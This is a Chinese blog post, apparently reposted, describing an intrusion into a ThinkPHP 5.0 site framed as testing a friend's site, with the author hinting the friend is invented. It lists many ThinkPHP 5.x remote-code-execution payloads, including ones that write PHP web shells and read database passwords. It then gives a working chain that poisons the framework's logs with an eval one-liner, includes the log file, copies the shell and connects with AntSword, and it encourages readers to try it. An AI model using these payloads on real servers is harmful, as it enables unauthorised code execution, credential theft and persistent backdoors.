概述
1.起因
我有一个朋友,让我帮忙测试一下他的站,于是有了这篇文章。(无中生友篇)
2.信息收集
访问首页一下先,看到是thinkphp v5.0版本。
然后谷歌大法,直接上TP 5.X RCE的EXP,一顿骚操作:
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/thinkRequest/input&filter=phpinfo&data=1
?s=index/thinkconfig/get&name=database.hostname
?s=index/thinkconfig/get&name=database.password
?s=index/thinkRequest/input&filter=system&data=id
?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
?s=index/thinkviewdriverPhp/display&content=<?php%20phpinfo();?>
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell1.php&vars[1][]=<?phpinfo();?>
?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell2.php&vars[1][]=<?php eval($_POST[xm])?>i
不好意思,一个都没用,只是发出来让你们收藏一下。嘿嘿嘿。。。
3.exp混合利用,文件包含和日志写入木马
接下来我们上一个有用的。
/index.php?s=captcha
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
改为POST方法,加一个参数Content-Type: application/x-www-form-urlencoded
顺利爆出phpinfo,有戏,接着往下看。
再检测一波:增加type请求头,然后payload:81aaa=id&_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=POST
报错,sysytem函数被拦截。可以换种方法getshell了。
由于目标站似乎对一些命令执行的函数有禁用,再加上这个 tp这个漏洞:
1.函数执行结果不会直接回显
2.限制了函数执行参数只能为一个 导致⼀开始一直卡壳。
后来想了想,由于前⾯测试从 debug 信息来看,好像没有禁⽌文件操作的函数,再加上 tp 本身就有用到文件读写的操作,所以⽂件读写操作肯定是能用的。
file_get_contents 函数可以执行,但这里不会输出函数执行的结果, file_put_contents 函数⼜要两个参数,include 又不是函数⽽没法在这里调用,所以感觉还是得先从 tp 框架里找现成的危险操作函数来⽤。
__include_file 是在漏洞点可以直接调用的函数,⽽且封装了文件包含操作,所以能⽤它去读⽬标服务器上的⽂件了:
被限制了读取文件的范围,但是能证明确实有用。由于是⽂件包含的操作,所以我想到了通过在 url 里包含恶意代码,利用请求报错记录到 tp ⾃己的⽇志里,然后包含日志来执行任意代码(当然这里不包括禁用函数)。
写入一句话shell到日志文件里:
post提交
/?s=captcha
_method=__construct&method=get&filter[]=call_user_func&server[]=-1&get[]=<?php eval($_POST[whit]); ?>
4.通过一句话 copy 新一句话文件到指定目录
5.蚁剑连接,打完收工,点到为止。
部分细节省略,比如目录侦测啥的,这个操作细心点就行。还是热乎的实战手法,提交公益src的师傅们可以自行操作一波了。
创建了公众号,感兴趣的小伙伴关注一下。
id:baiyeguimei 白夜鬼魅
最后
以上就是坚强曲奇为你收集整理的渗透测试实战-文件包含和日志文件写入木马混合利用的全部内容,希望文章能够帮你解决渗透测试实战-文件包含和日志文件写入木马混合利用所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复